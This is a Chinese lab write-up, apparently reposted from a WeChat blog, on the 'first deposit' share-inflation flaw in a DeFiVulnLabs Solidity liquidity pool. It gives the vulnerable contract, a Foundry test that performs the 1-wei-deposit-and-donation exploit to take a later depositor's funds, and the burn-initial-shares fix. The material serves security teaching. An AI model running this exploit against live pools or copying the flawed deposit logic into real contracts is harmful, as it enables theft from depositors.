DeFiVulnLabs靶场全系列详解(二十九)首次存款错误导致合约破坏

admin 2025年5月27日16:24:14评论24 views字数 4847阅读16分9秒阅读模式
01
前言
此内容仅作为展示Solidity常见错误的概念证明。它严格用于教育目的,不应被解释为鼓励或认可任何形式的非法活动或实际的黑客攻击企图。所提供的信息仅供参考和学习,基于此内容采取的任何行动均由个人全权负责。使用这些信息应遵守适用的法律、法规和道德标准。
DeFiVulnLabs一共有47个漏洞实验,包括各种经典的合约漏洞和一些少见的可能造成安全问题的不安全代码,本系列将逐一解析每个漏洞,包括官方的解释和自己的理解。
02
首次存款错误导致合约破坏
漏洞解析:
由于合约存在错误,导致第一个存放代币存款的人可以对合约进行破坏。如果首个存款人的首次存款(First Deposit)被恶意操纵,就可能会导致后续用户无法正常获得份额,或者导致后续的用户遭受损失。
那么这个漏洞是怎么做的呢?
例如转入0.1的ETH,此时可以获得0.1份额的st ETH,
代码解析:
以下代码是一个ERC20代币,存在一个Mint方法
//ERC20 TOKEN  mint一些代币contract MyToken is ERC20Ownable {    constructor() ERC20("MyToken""MTK") {        _mint(msg.sender10000 * 10 ** decimals());    }    function mint(address to, uint256 amount) public onlyOwner {        _mint(to, amount);    }}
在讲这个漏洞之前必须先讲一下流动池
流动池是一个动态平衡的池子,在池子里存在代币组合,流动池的目的是为了让金融体系保持存在大量的流动性,便于币币交换。
在流动池里关注的是组合对的价值锚定,叫做恒定乘积做市商,比如一个正常ETH能换10个DAI,那么如果换ETH的人多了,DAI价格就上涨,如果换DAI的人多了,那么ETH就上涨,而市场里的人会发现这其中存在套利空间。
例如有人换了大量的ETH,ETH在流动池里数量减少,涨价了,此时ETH和DAI价格变为1:11,那么就会有人注入ETH的流动性,换取更多的DAI,来在外部市场赚更多的利益。
由于需要大量的真金白银,所以市场是允许别人赚取这种套利的。
但是如果是首次存款时,就不一定了
第二部分是一个流动池合约,这个合约存在方法deposit方法,攻击者可以通过存入少量的代币来获取份额,然后还存在一个withdraw方法,攻击者可以进行提现。
//一个简单的流动池合约contract SimplePool {    IERC20 public loanToken;    uint public totalShares;    mapping(address => uint) public balanceOf;    //实例化loanToken    constructor(address _loanToken) {        loanToken = IERC20(_loanToken);    }    //存款转入loanToken    function deposit(uint amount) external {        require(amount > 0"Amount must be greater than zero");        uint _shares;        //如果流动池里的数量是0,就是首次流动存入流动池        if (totalShares == 0) {            _shares = amount;        } else {            //            _shares = tokenToShares(                amount,                loanToken.balanceOf(address(this)),                totalShares,                false            );        }        //        require(转账            loanToken.transferFrom(msg.senderaddress(this), amount),            "TransferFrom failed"        );        balanceOf[msg.sender] += _shares;        totalShares += _shares;    }    //代币数量转换为份额数量    这是一个内部方法    function tokenToShares(        uint _tokenAmount,  //token数量        uint _supplied,    //token供应量        uint _sharesTotalSupply, //总的份额数量        bool roundUpCheck  ) internal pure returns (uint) {        //        if (_supplied == 0return _tokenAmount;        uint shares = (_tokenAmount * _sharesTotalSupply) / _supplied;        //        if (            roundUpCheck &&            shares * _supplied < _tokenAmount * _sharesTotalSupply        ) shares++;        return shares;    }    function withdraw(uint shares) external {        //提现校验        require(shares > 0"Shares must be greater than zero");        require(balanceOf[msg.sender] >= shares, "Insufficient balance");        uint tokenAmount = (shares * loanToken.balanceOf(address(this))) /            totalShares;        balanceOf[msg.sender] -= shares;        totalShares -= shares;        require(loanToken.transfer(msg.sender, tokenAmount), "Transfer failed");    }}
那这段代码存在什么问题呢?
首先流动池的注入都是有首次的,当第一次注入流动池的时候,_shares就等于注入数值,如果此时转入1wei,就能获取1个shares token(份额),如果不是第一次注入的时候,那么就直接通过一系列运算来计算你该获取多少份额。
        //如果流动池里的数量是0,就是首次流动存入流动池        if (totalShares == 0) {            _shares = amount;        } else {            //            _shares = tokenToShares(                amount,                loanToken.balanceOf(address(this)),                totalShares,                false            );        }
就是这样所以特殊第一次就出现了问题,攻击者注入1wei后,然后手动的直接给这个合约转入1ETH,这样你获取了1 shares 份额,但是池子的资产却是1ETH+1WEI,此时池的流动性就会严重失衡。
那么如果后续正常用户存入了2个ETH,获得2个ETH的份额,是2*10^18的份额。此时通过计算公式的话,那么就会获取很少的shares token份额了。因为此时的流动池认为1个shares token很值钱。
然后攻击者此时就调用withdraw提现之前用1wei注入的1哥shares token,因此此时的1 shares token很值钱,所以直接爆赚。
03
试验测试

C:UsersiceDesktopweb3-functionweb3safeDeFiVulnLabs>C:UsersicecaiDesktopweb3-functionweb3safefoundry_nightly_win32_amd64forge.exe  test --contracts ./src/test/first-deposit.sol -vvvv

DeFiVulnLabs靶场全系列详解(二十九)首次存款错误导致合约破坏
测试的流程
function testFirstDeposit() public {        address alice = vm.addr(1);        address bob = vm.addr(2);        MyTokenContract.transfer(alice, 1 ether + 1);        MyTokenContract.transfer(bob, 2 ether);        vm.startPrank(alice);        // Alice deposits 1 wei, gets 1 pool token        MyTokenContract.approve(address(SimplePoolContract), 1);        SimplePoolContract.deposit(1);        // Alice transfers 1 ether to the pool, inflating the pool token price        MyTokenContract.transfer(address(SimplePoolContract), 1 ether);        vm.stopPrank();        vm.startPrank(bob);        // Bob deposits 2 ether, gets 1 pool token due to inflated price        // uint shares = _tokenAmount * _sharesTotalSupply / _supplied;        // shares = 2000000000000000000 * 1 / 1000000000000000001 = 1.9999999999999999999 => round down to 1.        MyTokenContract.approve(address(SimplePoolContract), 2 ether);        SimplePoolContract.deposit(2 ether);        vm.stopPrank();        vm.startPrank(alice);        MyTokenContract.balanceOf(address(SimplePoolContract));        // Alice withdraws and gets 1.5 ether, making a profit        SimplePoolContract.withdraw(1);        assertEq(MyTokenContract.balanceOf(alice), 1.5 ether);        console.log("Alice balance", MyTokenContract.balanceOf(alice));    }    receive() external payable {}}
具体请看图片注释
DeFiVulnLabs靶场全系列详解(二十九)首次存款错误导致合约破坏
DeFiVulnLabs靶场全系列详解(二十九)首次存款错误导致合约破坏
04
如何修复该问题
由于该漏洞只存在首次调用(存款)的时候,因此利用面还是相对较小的,解决方式就是在首次存款的时候铸造一小部分池子的代币将其发送到0地址(这个牺牲可能需要项目方操作),例如Uniswap V2 通过将前 1000 个 LP 代币发送到零地址来解决类似问题。
05
感谢关注
个人语雀账号:https://www.yuque.com/iceqaq

原文始发于微信公众号(Ice ThirdSpace):DeFiVulnLabs靶场全系列详解(二十九)首次存款错误导致合约破坏

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月27日16:24:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DeFiVulnLabs靶场全系列详解(二十九)首次存款错误导致合约破坏http://cn-sec.com/archives/3998767.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息